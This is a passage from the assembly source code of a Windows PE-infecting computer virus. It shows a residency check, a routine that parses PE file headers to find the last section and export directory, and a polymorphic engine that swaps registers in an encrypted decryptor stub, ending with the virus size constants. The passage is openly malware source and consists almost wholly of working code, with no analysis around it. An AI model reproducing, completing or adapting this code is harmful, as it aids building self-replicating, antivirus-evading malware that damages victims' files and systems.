1755 xor eax, eax ;Assume not resident
1756 cmp esi, RESIDENCY_SUCCESS ;Is Virus Resident
1757 jne End_IsVirusActive ;No, return 0
1758 inc eax ;Yes, return 1
1759
1760End_IsVirusActive:
1761 ret
1762IsVirusActive ENDP
1763;+----------------------------------------------------------------------------+
1764;| +------------------------------------------------------------------------+ |
1765;| | | |
1766;| | GetFileHeaders | |
1767;| | | |
1768;| +------------------------------------------------------------------------+ |
1769;+----------------------------------------------------------------------------+
1770; Description
1771; -> This function retreives the address of various file headers, viz.,
1772; Image File Header, Image Optional Header, Last Section Header,
1773; Image Export Directory. The function fails if the specified file is
1774; not a Portable Executable (PE) file
1775;
1776; Arguments
1777; -> gfh_dwFileBase: Base Address of File (in Memory) whose headers are
1778; required.
1779;
1780; Return Value:
1781; -> EAX: Address of the Image File Header, or 0 if the function failed
1782; -> EBX: Address of the Image Optional Header
1783; -> ECX: Address of the Last Sections Header
1784; -> EDX: Address of the Image Export Directory
1785;
1786; Registers Destroyed
1787; -> All
1788;_______________________________________
1789GetFileHeaders PROC gfh_dwFileBase:DWORD
1790 LOCAL dwIOH:DWORD, \
1791 dwIED:DWORD, \
1792
1793 mov esi, [gfh_dwFileBase]
1794 cmp word ptr [esi], "ZM" ;Is EXE/DLL Present ?
1795 jne Error_GetFileHeaders ;No
1796
1797;Check for PE Signature
1798 add esi, (IMAGE_DOS_HEADER [esi]).IDH_e_lfanew
1799 cmp dword ptr [esi], "EP" ;PE File ?
1800 jne Error_GetFileHeaders ;No
1801
1802;Get Image Optional Header
1803 add esi, IMAGE_SIZEOF_NT_SIGNATURE ;Image File Header
1804 push esi ;Save Image File Header
1805 add esi, SIZE IMAGE_FILE_HEADER ;Image Optional Header
1806 mov [dwIOH], esi ;Save
1807
1808;Get the Address of the Image Export Directory
1809 mov esi, (IMAGE_OPTIONAL_HEADER [esi]).IOH_DataDirectory(0).IDD_VirtualAddress ;RVA Image Export Directory
1810 add esi, [gfh_dwFileBase]
1811 mov dword ptr [dwIED], esi
1812
1813;Get Address of Last Section Header
1814 pop esi ;Get Image File header
1815 movzx ecx, (IMAGE_FILE_HEADER [esi]).IFH_SizeOfOptionalHeader
1816 add ecx, [dwIOH] ;Address of First Section Header
1817 movzx eax, (IMAGE_FILE_HEADER [esi]).IFH_NumberOfSections
1818 dec eax ;Number of Sections - 1
1819 imul eax, eax, SIZE IMAGE_SECTION_HEADER ;Size of All Section Headers
1820 ;mov ebx, SIZE IMAGE_SECTION_HEADER
1821 ;mul ebx ;Size of All Section Headers
1822 add ecx, eax ;Address of Last Section Header
1823
1824;Return Header Values
1825 mov eax, esi ;Image File Header
1826 mov ebx, [dwIOH]
1827 mov edx, [dwIED]
1828
1829 jmp End_GetFileHeaders
1830
1831Error_GetFileHeaders:
1832 xor eax, eax ;Error, Return 0
1833
1834End_GetFileHeaders:
1835 ret
1836GetFileHeaders ENDP
1837;+----------------------------------------------------------------------------+
1838;| +------------------------------------------------------------------------+ |
1839;| | | |
1840;| | MutateDecryptor | |
1841;| | | |
1842;| +------------------------------------------------------------------------+ |
1843;+----------------------------------------------------------------------------+
1844; Description
1845; -> This function modifies the registers used in the decryptor, to make it
1846; polymorphic. The decrypor uses two registers; one as an index, and the
1847; other as a counter. The registers EAX, EBX, ECX, EDX, ESI and EDI are
1848; used as random registers. The opcodes are generated in the following way.
1849; First the opcode is calculated using register EAX; e.g. the opcode for
1850; POP EAX is 58h. To generate the opcodes for the other registers, we add
1851; the number of the register. The number for EDX is 2. Adding this to 58h,
1852; we get 5Ah, which is the opcode for POP EDX
1853;
1854; Arguments
1855; -> EDI: Start of decrypor that need to be mutated
1856;
1857; Return Value:
1858; -> None
1859;
1860; Registers Destroyed
1861; -> AX, BL
1862;___________________
1863MutateDecryptor PROC
1864;Get Two Random Registers
1865 call RandomRegister ;Get First Register Number
1866 mov ah, al ;Save It
1867GetAnotherRegister:
1868 call RandomRegister ;Get Second Register Number
1869 cmp ah, al ;Is it the same as First
1870 je GetAnotherRegister ;Yes, get another one
1871
1872;Modify Decryptor, so that it uses the new registers
1873 mov bl, 58h ;Change "pop <register1>"
1874 add bl, al ;Register 1
1875 mov byte ptr [edi + 5], bl
1876 mov bl, 0C0h ;Change "add <register1>, ..."
1877 add bl, al ;Register 1
1878 mov byte ptr [edi + 7], bl
1879 mov bl, 0B8h ;Change "mov <register2>, ..."
1880 add bl, ah ;Register 2
1881 mov byte ptr [edi + 9], bl
1882 mov bl, 30h ;Change "xor byte ptr [<register1>], ..."
1883 add bl, al ;Register 1
1884 mov byte ptr [edi + 15], bl
1885 mov bl, 40h ;Change "inc <register1>"
1886 add bl, al ;Register 1
1887 mov byte ptr [edi + 17], bl
1888 mov bl, 48h ;Change "dec <register2>"
1889 add bl, ah ;Register 2
1890 mov byte ptr [edi + 18], bl
1891
1892 ret
1893MutateDecryptor ENDP
1894;+----------------------------------------------------------------------------+
1895;| +------------------------------------------------------------------------+ |
1896;| | | |
1897;| | RandomRegister | |
1898;| | | |
1899;| +------------------------------------------------------------------------+ |
1900;+----------------------------------------------------------------------------+
1901; Description
1902; -> This function returns a random number from 0, 1, 2, 3, 6, and 7. Each of
1903; these values is used to identify a register.
1904; EAX=0, ECX=1, EDX=2, EBX=3, ESI=6, EDI=7
1905;
1906; Arguments
1907; -> None.
1908;
1909; Return Value:
1910; -> AL: Random number (0, 1, 2, 3, 6 or 7)
1911;
1912; Registers Destroyed
1913; -> AL
1914;__________________
1915RandomRegister PROC
1916NewRandom:
1917 in al, 40h ;Get Random Number
1918 and al,00000111b ;Maximum value 7
1919 cmp al, 4 ;Should not be 4...
1920 je NewRandom
1921 cmp al, 5 ;...or 5
1922 je NewRandom
1923 ret
1924RandomRegister ENDP
1925;+----------------------------------------------------------------------------+
1926;| +------------------------------------------------------------------------+ |
1927;| | | |
1928;| | End Of Virus Code | |
1929;| | | |
1930;| +------------------------------------------------------------------------+ |
1931;+----------------------------------------------------------------------------+
1932VIRUS_SIZE EQU $ - offset StartOfVirusCode
1933ENCRYPTED_SIZE EQU $ - offset EncryptedVirusCode
1934LOADER_SIZE EQU VIRUS_SIZE - ENCRYPTED_SIZE
1935VIRUS_SIZE_PAGES EQU (VIRUS_SIZE / PAGE_SIZE) + 1
1936END StartOfVirusCode